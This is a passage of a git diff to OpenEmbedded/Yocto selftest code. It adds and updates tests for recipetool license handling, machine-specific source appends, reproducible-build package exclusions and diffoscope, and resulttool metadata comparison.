+ path for path in searchpath
+ if self._copy_file_with_cleanup(srcfile, path, 'lib', 'recipetool')
+ ]
result = runCmd("recipetool --quiet count")
self.assertEqual(result.output, '1')
result = runCmd("recipetool --quiet multiloaded")
self.assertEqual(result.output, "no")
for path in searchpath:
result = runCmd("recipetool --quiet bbdir")
- self.assertEqual(result.output, path)
+ self.assertEqual(os.path.realpath(result.output), os.path.realpath(path))
os.unlink(os.path.join(result.output, 'lib', 'recipetool', 'bbpath.py'))
finally:
with open(srcfile, 'w') as fh:
fh.writelines(plugincontent)
+ def test_recipetool_handle_license_vars(self):
+ from create import handle_license_vars
+ from unittest.mock import Mock
+
+ commonlicdir = get_bb_var('COMMON_LICENSE_DIR')
+
+ class DataConnectorCopy(bb.tinfoil.TinfoilDataStoreConnector):
+ pass
+
+ d = DataConnectorCopy
+ d.getVar = Mock(return_value=commonlicdir)
+
+ srctree = tempfile.mkdtemp(prefix='recipetoolqa')
+ self.track_for_cleanup(srctree)
+
+ # Multiple licenses
+ licenses = ['MIT', 'ISC', 'BSD-3-Clause', 'Apache-2.0']
+ for licence in licenses:
+ shutil.copy(os.path.join(commonlicdir, licence), os.path.join(srctree, 'LICENSE.' + licence))
+ # Duplicate license
+ shutil.copy(os.path.join(commonlicdir, 'MIT'), os.path.join(srctree, 'LICENSE'))
+
+ extravalues = {
+ # Duplicate and missing licenses
+ 'LICENSE': 'Zlib & BSD-2-Clause & Zlib',
+ 'LIC_FILES_CHKSUM': [
+ 'file://README.md;md5=0123456789abcdef0123456789abcd'
+ ]
+ }
+ lines_before = []
+ handled = []
+ licvalues = handle_license_vars(srctree, lines_before, handled, extravalues, d)
+ expected_lines_before = [
+ '# WARNING: the following LICENSE and LIC_FILES_CHKSUM values are best guesses - it is',
+ '# your responsibility to verify that the values are complete and correct.',
+ '# NOTE: Original package / source metadata indicates license is: BSD-2-Clause & Zlib',
+ '#',
+ '# NOTE: multiple licenses have been detected; they have been separated with &',
+ '# in the LICENSE value for now since it is a reasonable assumption that all',
+ '# of the licenses apply. If instead there is a choice between the multiple',
+ '# licenses then you should change the value to separate the licenses with |',
+ '# instead of &. If there is any doubt, check the accompanying documentation',
+ '# to determine which situation is applicable.',
+ 'LICENSE = "Apache-2.0 & BSD-2-Clause & BSD-3-Clause & ISC & MIT & Zlib"',
+ 'LIC_FILES_CHKSUM = "file://LICENSE;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://LICENSE.Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \\\n'
+ ' file://LICENSE.BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \\\n'
+ ' file://LICENSE.ISC;md5=f3b90e78ea0cffb20bf5cca7947a896d \\\n'
+ ' file://LICENSE.MIT;md5=0835ade698e0bcf8506ecda2f7b4f302 \\\n'
+ ' file://README.md;md5=0123456789abcdef0123456789abcd"',
+ ''
+ ]
+ self.assertEqual(lines_before, expected_lines_before)
+ expected_licvalues = [
+ ('MIT', 'LICENSE', '0835ade698e0bcf8506ecda2f7b4f302'),
+ ('Apache-2.0', 'LICENSE.Apache-2.0', '89aea4e17d99a7cacdbeed46a0096b10'),
+ ('BSD-3-Clause', 'LICENSE.BSD-3-Clause', '550794465ba0ec5312d6919e203a55f9'),
+ ('ISC', 'LICENSE.ISC', 'f3b90e78ea0cffb20bf5cca7947a896d'),
+ ('MIT', 'LICENSE.MIT', '0835ade698e0bcf8506ecda2f7b4f302')
+ ]
+ self.assertEqual(handled, [('license', expected_licvalues)])
+ self.assertEqual(extravalues, {})
+ self.assertEqual(licvalues, expected_licvalues)
+
+
+ def test_recipetool_split_pkg_licenses(self):
+ from create import split_pkg_licenses
+ licvalues = [
+ # Duplicate licenses
+ ('BSD-2-Clause', 'x/COPYING', None),
+ ('BSD-2-Clause', 'x/LICENSE', None),
+ # Multiple licenses
+ ('MIT', 'x/a/LICENSE.MIT', None),
+ ('ISC', 'x/a/LICENSE.ISC', None),
+ # Alternative licenses
+ ('(MIT | ISC)', 'x/b/LICENSE', None),
+ # Alternative licenses without brackets
+ ('MIT | BSD-2-Clause', 'x/c/LICENSE', None),
+ # Multi licenses with alternatives
+ ('MIT', 'x/d/COPYING', None),
+ ('MIT | BSD-2-Clause', 'x/d/LICENSE', None),
+ # Multi licenses with alternatives and brackets
+ ('Apache-2.0 & ((MIT | ISC) & BSD-3-Clause)', 'x/e/LICENSE', None)
+ ]
+ packages = {
+ '${PN}': '',
+ 'a': 'x/a',
+ 'b': 'x/b',
+ 'c': 'x/c',
+ 'd': 'x/d',
+ 'e': 'x/e',
+ 'f': 'x/f',
+ 'g': 'x/g',
+ }
+ fallback_licenses = {
+ # Ignored
+ 'a': 'BSD-3-Clause',
+ # Used
+ 'f': 'BSD-3-Clause'
+ }
+ outlines = []
+ outlicenses = split_pkg_licenses(licvalues, packages, outlines, fallback_licenses)
+ expected_outlicenses = {
+ '${PN}': ['BSD-2-Clause'],
+ 'a': ['ISC', 'MIT'],
+ 'b': ['(ISC | MIT)'],
+ 'c': ['(BSD-2-Clause | MIT)'],
+ 'd': ['(BSD-2-Clause | MIT)', 'MIT'],
+ 'e': ['(ISC | MIT)', 'Apache-2.0', 'BSD-3-Clause'],
+ 'f': ['BSD-3-Clause'],
+ 'g': ['Unknown']
+ }
+ self.assertEqual(outlicenses, expected_outlicenses)
+ expected_outlines = [
+ 'LICENSE:${PN} = "BSD-2-Clause"',
+ 'LICENSE:a = "ISC & MIT"',
+ 'LICENSE:b = "(ISC | MIT)"',
+ 'LICENSE:c = "(BSD-2-Clause | MIT)"',
+ 'LICENSE:d = "(BSD-2-Clause | MIT) & MIT"',
+ 'LICENSE:e = "(ISC | MIT) & Apache-2.0 & BSD-3-Clause"',
+ 'LICENSE:f = "BSD-3-Clause"',
+ 'LICENSE:g = "Unknown"'
+ ]
+ self.assertEqual(outlines, expected_outlines)
+
class RecipetoolAppendsrcBase(RecipetoolBase):
def _try_recipetool_appendsrcfile(self, testrecipe, newfile, destfile, options, expectedlines, expectedfiles):
@@ -602,9 +1208,9 @@ class RecipetoolAppendsrcBase(RecipetoolBase):
for uri in src_uri:
p = urllib.parse.urlparse(uri)
if p.scheme == 'file':
- return p.netloc + p.path
+ return p.netloc + p.path, uri
- def _test_appendsrcfile(self, testrecipe, filename=None, destdir=None, has_src_uri=True, srcdir=None, newfile=None, options=''):
+ def _test_appendsrcfile(self, testrecipe, filename=None, destdir=None, has_src_uri=True, srcdir=None, newfile=None, remove=None, machine=None , options=''):
if newfile is None:
newfile = self.testfile
@@ -629,14 +1235,42 @@ class RecipetoolAppendsrcBase(RecipetoolBase):
else:
destpath = '.' + os.sep
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
+
+ override = ""
+ if machine:
+ options += ' -m %s' % machine
+ override = ':append:%s' % machine
+ expectedlines.extend(['PACKAGE_ARCH = "${MACHINE_ARCH}"\n',
+ '\n'])
+
+ if remove:
+ for entry in remove:
+ if machine:
+ entry_remove_line = 'SRC_URI:remove:%s = " %s"\n' % (machine, entry)
+ else:
+ entry_remove_line = 'SRC_URI:remove = "%s"\n' % entry
+
+ expectedlines.extend([entry_remove_line,
+ '\n'])
+
if has_src_uri:
uri = 'file://%s' % filename
if expected_subdir:
uri += ';subdir=%s' % expected_subdir
- expectedlines[0:0] = ['SRC_URI += "%s"\n' % uri,
- '\n']
+ if machine:
+ src_uri_line = 'SRC_URI%s = " %s"\n' % (override, uri)
+ else:
+ src_uri_line = 'SRC_URI += "%s"\n' % uri
+
+ expectedlines.extend([src_uri_line, '\n'])
+
+ with open("/tmp/tmp.txt", "w") as file:
+ print(expectedlines, file=file)
+
+ if machine:
+ filename = '%s/%s' % (machine, filename)
return self._try_recipetool_appendsrcfile(testrecipe, newfile, destpath, options, expectedlines, [filename])
@@ -691,18 +1325,46 @@ class RecipetoolAppendsrcTests(RecipetoolAppendsrcBase):
def test_recipetool_appendsrcfile_existing_in_src_uri(self):
testrecipe = 'base-files'
- filepath = self._get_first_file_uri(testrecipe)
+ filepath,_ = self._get_first_file_uri(testrecipe)
self.assertTrue(filepath, 'Unable to test, no file:// uri found in SRC_URI for %s' % testrecipe)
self._test_appendsrcfile(testrecipe, filepath, has_src_uri=False)
- def test_recipetool_appendsrcfile_existing_in_src_uri_diff_params(self):
+ def test_recipetool_appendsrcfile_existing_in_src_uri_diff_params(self, machine=None):
testrecipe = 'base-files'
subdir = 'tmp'
- filepath = self._get_first_file_uri(testrecipe)
+ filepath, srcuri_entry = self._get_first_file_uri(testrecipe)
self.assertTrue(filepath, 'Unable to test, no file:// uri found in SRC_URI for %s' % testrecipe)
- output = self._test_appendsrcfile(testrecipe, filepath, subdir, has_src_uri=False)
- self.assertTrue(any('with different parameters' in l for l in output))
+ self._test_appendsrcfile(testrecipe, filepath, subdir, machine=machine, remove=[srcuri_entry])
+
+ def test_recipetool_appendsrcfile_machine(self):
+ # A very basic test
+ self._test_appendsrcfile('base-files', 'a-file', machine='mymachine')
+
+ # Force cleaning the output of previous test
+ self.tearDownLocal()
+
+ # A more complex test: existing entry in src_uri with different param
+ self.test_recipetool_appendsrcfile_existing_in_src_uri_diff_params(machine='mymachine')
+
+ def test_recipetool_appendsrcfile_update_recipe_basic(self):
+ testrecipe = "mtd-utils-selftest"
+ recipefile = get_bb_var('FILE', testrecipe)
+ self.assertIn('meta-selftest', recipefile, 'This test expect %s recipe to be in meta-selftest')
+ cmd = 'recipetool appendsrcfile -W -u meta-selftest %s %s' % (testrecipe, self.testfile)
+ result = runCmd(cmd)
+ self.assertNotIn('Traceback', result.output)
+ self.add_command_to_tearDown('cd %s; rm -f %s/%s; git checkout .' % (os.path.dirname(recipefile), testrecipe, os.path.basename(self.testfile)))
+
+ expected_status = [(' M', '.*/%s$' % os.path.basename(recipefile)),
+ ('??', '.*/%s/%s$' % (testrecipe, os.path.basename(self.testfile)))]
+ self._check_repo_status(os.path.dirname(recipefile), expected_status)
+ result = runCmd('git diff %s' % os.path.basename(recipefile), cwd=os.path.dirname(recipefile))
+ removelines = []
+ addlines = [
+ 'file://%s \\\\' % os.path.basename(self.testfile),
+ ]
+ self._check_diff(result.output, addlines, removelines)
def test_recipetool_appendsrcfile_replace_file_srcdir(self):
testrecipe = 'bash'
diff --git a/meta/lib/oeqa/selftest/cases/recipeutils.py b/meta/lib/oeqa/selftest/cases/recipeutils.py
index 747870383b..2cb4445f81 100644
--- a/meta/lib/oeqa/selftest/cases/recipeutils.py
+++ b/meta/lib/oeqa/selftest/cases/recipeutils.py
@@ -1,15 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
-import os
-import re
-import time
-import logging
import bb.tinfoil
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, get_test_layer
+from oeqa.utils.commands import get_test_layer
def setUpModule():
@@ -40,7 +38,7 @@ class RecipeUtilsTests(OESelftestTestCase):
SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
HOMEPAGE = "http://github.com/gitpython-developers/async"
SECTION = "devel/python"
--LICENSE = "BSD"
+-LICENSE = "BSD-3-Clause"
+LICENSE = "something"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
@@ -52,7 +50,7 @@ class RecipeUtilsTests(OESelftestTestCase):
+SRC_URI[md5sum] = "aaaaaa"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
- RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+ RDEPENDS:${PN} += "python3-threading"
"""
patchlines = []
for f in patches:
@@ -80,7 +78,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
- SRC_URI_append = " file://anotherfile"
+ SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
@@ -105,7 +103,7 @@ class RecipeUtilsTests(OESelftestTestCase):
-SRC_URI += "file://somefile"
-
--SRC_URI_append = " file://anotherfile"
+-SRC_URI:append = " file://anotherfile"
"""
patchlines = []
for f in patches:
diff --git a/meta/lib/oeqa/selftest/cases/reproducible.py b/meta/lib/oeqa/selftest/cases/reproducible.py
index 5d3959be77..80e830136f 100644
--- a/meta/lib/oeqa/selftest/cases/reproducible.py
+++ b/meta/lib/oeqa/selftest/cases/reproducible.py
@@ -9,14 +9,22 @@ import bb.utils
import functools
import multiprocessing
import textwrap
-import json
-import unittest
import tempfile
import shutil
import stat
import os
import datetime
+exclude_packages = [
+ ]
+
+def is_excluded(package):
+ package_name = os.path.basename(package)
+ for i in exclude_packages:
+ if package_name.startswith(i):
+ return i
+ return None
+
MISSING = 'MISSING'
DIFFERENT = 'DIFFERENT'
SAME = 'SAME'
@@ -35,18 +43,26 @@ class CompareResult(object):
return (self.status, self.test) < (other.status, other.test)
class PackageCompareResults(object):
- def __init__(self):
+ def __init__(self, exclusions):
self.total = []
self.missing = []
self.different = []
+ self.different_excluded = []
self.same = []
+ self.active_exclusions = set()
+ exclude_packages.extend((exclusions or "").split())
def add_result(self, r):
self.total.append(r)
if r.status == MISSING:
self.missing.append(r)
elif r.status == DIFFERENT:
- self.different.append(r)
+ exclusion = is_excluded(r.reference)
+ if exclusion:
+ self.different_excluded.append(r)
+ self.active_exclusions.add(exclusion)
+ else:
+ self.different.append(r)
else:
self.same.append(r)
@@ -54,10 +70,14 @@ class PackageCompareResults(object):
self.total.sort()
self.missing.sort()
self.different.sort()
+ self.different_excluded.sort()
self.same.sort()
def __str__(self):
- return 'same=%i different=%i missing=%i total=%i' % (len(self.same), len(self.different), len(self.missing), len(self.total))
+ return 'same=%i different=%i different_excluded=%i missing=%i total=%i\nunused_exclusions=%s' % (len(self.same), len(self.different), len(self.different_excluded), len(self.missing), len(self.total), self.unused_exclusions())
+
+ def unused_exclusions(self):
+ return sorted(set(exclude_packages) - self.active_exclusions)
def compare_file(reference, test, diffutils_sysroot):
result = CompareResult()
@@ -68,7 +88,7 @@ def compare_file(reference, test, diffutils_sysroot):
result.status = MISSING
return result
- r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True)
+ r = runCmd(['cmp', '--quiet', reference, test], native_sysroot=diffutils_sysroot, ignore_status=True, sync=False)
if r.status:
result.status = DIFFERENT
@@ -77,9 +97,47 @@ def compare_file(reference, test, diffutils_sysroot):
result.status = SAME
return result
+def run_diffoscope(a_dir, b_dir, html_dir, max_report_size=0, **kwargs):
+ return runCmd(['diffoscope', '--no-default-limits', '--max-report-size', str(max_report_size),
+ '--exclude-directory-metadata', 'yes', '--html-dir', html_dir, a_dir, b_dir],
+ **kwargs)
+
+class DiffoscopeTests(OESelftestTestCase):
+ diffoscope_test_files = os.path.join(os.path.dirname(os.path.abspath(__file__)), "diffoscope")
+
+ def test_diffoscope(self):
+ bitbake("diffoscope-native -c addto_recipe_sysroot")
+ diffoscope_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "diffoscope-native")
+
+ # Check that diffoscope doesn't return an error when the files compare
+ # the same (a general check that diffoscope is working)
+ with tempfile.TemporaryDirectory() as tmpdir:
+ run_diffoscope('A', 'A', tmpdir,
+ native_sysroot=diffoscope_sysroot, cwd=self.diffoscope_test_files)
+
+ # Check that diffoscope generates an index.html file when the files are
+ # different
+ with tempfile.TemporaryDirectory() as tmpdir:
+ r = run_diffoscope('A', 'B', tmpdir,
+ native_sysroot=diffoscope_sysroot, ignore_status=True, cwd=self.diffoscope_test_files)
+
+ self.assertNotEqual(r.status, 0, msg="diffoscope was successful when an error was expected")
+ self.assertTrue(os.path.exists(os.path.join(tmpdir, 'index.html')), "HTML index not found!")
+
class ReproducibleTests(OESelftestTestCase):
- package_classes = ['deb', 'ipk']
- images = ['core-image-minimal', 'core-image-sato', 'core-image-full-cmdline']
+ # Test the reproducibility of whatever is built between sstate_targets and targets
+
+ package_classes = ['deb', 'ipk', 'rpm']
+
+ # Maximum report size, in bytes
+ max_report_size = 250 * 1024 * 1024
+
+ # targets are the things we want to test the reproducibility of
+ targets = ['core-image-minimal', 'core-image-sato', 'core-image-full-cmdline', 'core-image-weston', 'world']
+
+ # sstate targets are things to pull from sstate to potentially cut build/debugging time
+ sstate_targets = []
+
save_results = False
if 'OEQA_DEBUGGING_SAVED_OUTPUT' in os.environ:
save_results = os.environ['OEQA_DEBUGGING_SAVED_OUTPUT']
@@ -94,11 +152,29 @@ class ReproducibleTests(OESelftestTestCase):
def setUpLocal(self):
super().setUpLocal()
- needed_vars = ['TOPDIR', 'TARGET_PREFIX', 'BB_NUMBER_THREADS']
+ needed_vars = [
+ 'TOPDIR',
+ 'TARGET_PREFIX',
+ 'BB_NUMBER_THREADS',
+ 'BB_HASHSERVE',
+ 'OEQA_REPRODUCIBLE_TEST_PACKAGE',
+ 'OEQA_REPRODUCIBLE_TEST_TARGET',
+ 'OEQA_REPRODUCIBLE_TEST_SSTATE_TARGETS',
+ 'OEQA_REPRODUCIBLE_EXCLUDED_PACKAGES',
+ ]
bb_vars = get_bb_vars(needed_vars)
for v in needed_vars:
setattr(self, v.lower(), bb_vars[v])
+ if bb_vars['OEQA_REPRODUCIBLE_TEST_PACKAGE']:
+ self.package_classes = bb_vars['OEQA_REPRODUCIBLE_TEST_PACKAGE'].split()
+
+ if bb_vars['OEQA_REPRODUCIBLE_TEST_TARGET']:
+ self.targets = bb_vars['OEQA_REPRODUCIBLE_TEST_TARGET'].split()
+
+ if bb_vars['OEQA_REPRODUCIBLE_TEST_SSTATE_TARGETS']:
+ self.sstate_targets = bb_vars['OEQA_REPRODUCIBLE_TEST_SSTATE_TARGETS'].split()
+
self.extraresults = {}
self.extraresults.setdefault('reproducible.rawlogs', {})['log'] = ''
self.extraresults.setdefault('reproducible', {}).setdefault('files', {})
@@ -107,7 +183,7 @@ class ReproducibleTests(OESelftestTestCase):
self.extraresults['reproducible.rawlogs']['log'] += msg
def compare_packages(self, reference_dir, test_dir, diffutils_sysroot):
- result = PackageCompareResults()
+ result = PackageCompareResults(self.oeqa_reproducible_excluded_packages)
old_cwd = os.getcwd()
try:
@@ -146,24 +222,35 @@ class ReproducibleTests(OESelftestTestCase):
bb.utils.remove(tmpdir, recurse=True)
config = textwrap.dedent('''\
- INHERIT += "reproducible_build"
PACKAGE_CLASSES = "{package_classes}"
- INHIBIT_PACKAGE_STRIP = "1"
TMPDIR = "{tmpdir}"
+ LICENSE_FLAGS_ACCEPTED = "commercial"
+ DISTRO_FEATURES:append = ' pam'
+ USERADDEXTENSION = "useradd-staticids"
+ USERADD_ERROR_DYNAMIC = "skip"
+ USERADD_UID_TABLES += "files/static-passwd"
+ USERADD_GID_TABLES += "files/static-group"
''').format(package_classes=' '.join('package_%s' % c for c in self.package_classes),
tmpdir=tmpdir)
if not use_sstate:
+ if self.sstate_targets:
+ self.logger.info("Building prebuild for %s (sstate allowed)..." % (name))
+ self.write_config(config)
+ bitbake(' '.join(self.sstate_targets))
+
# This config fragment will disable using shared and the sstate
# mirror, forcing a complete build from scratch
config += textwrap.dedent('''\
SSTATE_DIR = "${TMPDIR}/sstate"
- SSTATE_MIRROR = ""
+ SSTATE_MIRRORS = "file://.*/.*-native.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH file://.*/.*-cross.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
''')
+ self.logger.info("Building %s (sstate%s allowed)..." % (name, '' if use_sstate else ' NOT'))
self.write_config(config)
d = get_bb_vars(capture_vars)
- bitbake(' '.join(self.images))
+ # targets used to be called images
+ bitbake(' '.join(getattr(self, 'images', self.targets)))
return d
def test_reproducible_builds(self):
@@ -187,6 +274,7 @@ class ReproducibleTests(OESelftestTestCase):
self.logger.info('Non-reproducible packages will be copied to %s', save_dir)
vars_A = self.do_test_build('reproducibleA', self.build_from_sstate)
+
vars_B = self.do_test_build('reproducibleB', False)
# NOTE: The temp directories from the reproducible build are purposely
@@ -201,6 +289,7 @@ class ReproducibleTests(OESelftestTestCase):
deploy_A = vars_A['DEPLOY_DIR_' + c.upper()]
deploy_B = vars_B['DEPLOY_DIR_' + c.upper()]
+ self.logger.info('Checking %s packages for differences...' % c)
result = self.compare_packages(deploy_A, deploy_B, diffutils_sysroot)
self.logger.info('Reproducibility summary for %s: %s' % (c, result))
@@ -209,6 +298,7 @@ class ReproducibleTests(OESelftestTestCase):
self.write_package_list(package_class, 'missing', result.missing)
self.write_package_list(package_class, 'different', result.different)
+ self.write_package_list(package_class, 'different_excluded', result.different_excluded)
self.write_package_list(package_class, 'same', result.same)
if self.save_results:
@@ -216,9 +306,17 @@ class ReproducibleTests(OESelftestTestCase):
self.copy_file(d.reference, '/'.join([save_dir, 'packages', strip_topdir(d.reference)]))
self.copy_file(d.test, '/'.join([save_dir, 'packages', strip_topdir(d.test)]))
- if result.missing or result.different:
- fails.append("The following %s packages are missing or different: %s" %
- (c, '\n'.join(r.test for r in (result.missing + result.different))))
+ for d in result.different_excluded:
+ self.copy_file(d.reference, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.reference)]))
+ self.copy_file(d.test, '/'.join([save_dir, 'packages-excluded', strip_topdir(d.test)]))
+
+ if result.different:
+ fails.append("The following %s packages are different and not in exclusion list:\n%s" %
+ (c, '\n'.join(r.test for r in (result.different))))
+
+ if result.missing and len(self.sstate_targets) == 0:
+ fails.append("The following %s packages are missing and not in exclusion list:\n%s" %
+ (c, '\n'.join(r.test for r in (result.missing))))
# Clean up empty directories
if self.save_results:
@@ -232,7 +330,7 @@ class ReproducibleTests(OESelftestTestCase):
# Copy jquery to improve the diffoscope output usability
self.copy_file(os.path.join(jquery_sysroot, 'usr/share/javascript/jquery/jquery.min.js'), os.path.join(package_html_dir, 'jquery.js'))
- runCmd(['diffoscope', '--no-default-limits', '--exclude-directory-metadata', '--html-dir', package_html_dir, 'reproducibleA', 'reproducibleB'],
+ run_diffoscope('reproducibleA', 'reproducibleB', package_html_dir, max_report_size=self.max_report_size,
native_sysroot=diffoscope_sysroot, ignore_status=True, cwd=package_dir)
if fails:
diff --git a/meta/lib/oeqa/selftest/cases/resulttooltests.py b/meta/lib/oeqa/selftest/cases/resulttooltests.py
index dac5c46801..c3303f3fbb 100644
--- a/meta/lib/oeqa/selftest/cases/resulttooltests.py
+++ b/meta/lib/oeqa/selftest/cases/resulttooltests.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -69,7 +71,7 @@ class ResultToolTests(OESelftestTestCase):
self.assertTrue('target_result1' in results['runtime/mydistro/qemux86/image'], msg="Pair not correct:%s" % results)
self.assertTrue('target_result3' in results['runtime/mydistro/qemux86-64/image'], msg="Pair not correct:%s" % results)
- def test_regrresion_can_get_regression_result(self):
+ def test_regression_can_get_regression_result(self):
base_result_data = {'result': {'test1': {'status': 'PASSED'},
'test2': {'status': 'PASSED'},
'test3': {'status': 'FAILED'},
@@ -96,3 +98,278 @@ class ResultToolTests(OESelftestTestCase):
resultutils.append_resultsdata(results, ResultToolTests.target_results_data, configmap=resultutils.flatten_map)
self.assertEqual(len(results[''].keys()), 5, msg="Flattened results not correct %s" % str(results))
+ def test_results_without_metadata_can_be_compared(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600
+ }, "result": {}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600
+ }, "result": {}}
+ self.assertTrue(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect metadata filtering, tests without metadata should be compared")
+
+ def test_target_result_with_missing_metadata_can_not_be_compared(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "OESELFTEST_METADATA": {
+ "run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["toolchain-user", "toolchain-system"],
+ "exclude_tags": None
+ }}, "result": {}}
+ target_configuration = {"configuration": {"TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600
+ }, "result": {}}
+ self.assertFalse(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect metadata filtering, tests should not be compared")
+
+ def test_results_with_matching_metadata_can_be_compared(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["toolchain-user", "toolchain-system"],
+ "exclude_tags": None}
+ }, "result": {}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["toolchain-user", "toolchain-system"],
+ "exclude_tags": None}
+ }, "result": {}}
+ self.assertTrue(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect metadata filtering, tests with matching metadata should be compared")
+
+ def test_results_with_mismatching_metadata_can_not_be_compared(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["toolchain-user", "toolchain-system"],
+ "exclude_tags": None}
+ }, "result": {}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "oeselftest",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["machine"],
+ "exclude_tags": None}
+ }, "result": {}}
+ self.assertFalse(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect metadata filtering, tests with mismatching metadata should not be compared")
+
+ def test_metadata_matching_is_only_checked_for_relevant_test_type(self):
+ base_configuration = {"configuration": {"TEST_TYPE": "runtime",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["toolchain-user", "toolchain-system"],
+ "exclude_tags": None}}, "result": {}}
+ target_configuration = {"configuration": {"TEST_TYPE": "runtime",
+ "TESTSERIES": "series1",
+ "IMAGE_BASENAME": "image",
+ "IMAGE_PKGTYPE": "ipk",
+ "DISTRO": "mydistro",
+ "MACHINE": "qemux86",
+ "STARTTIME": 1672527600,
+ "OESELFTEST_METADATA": {"run_all_tests": True,
+ "run_tests": None,
+ "skips": None,
+ "machine": None,
+ "select_tags": ["machine"],
+ "exclude_tags": None}}, "result": {}}
+ self.assertTrue(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect metadata filtering, %s tests should be compared" % base_configuration['configuration']['TEST_TYPE'])
+
+ def test_machine_matches(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"}, "result": {}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {}}
+ self.assertTrue(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect machine filtering, identical machine tests should be compared")
+
+ def test_machine_mismatches(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86_64"
+ }, "result": {}}
+ self.assertFalse(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect machine filtering, mismatching machine tests should not be compared")
+
+ def test_can_not_compare_non_ltp_tests(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {
+ "ltpresult_foo": {
+ "status": "PASSED"
+ }}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
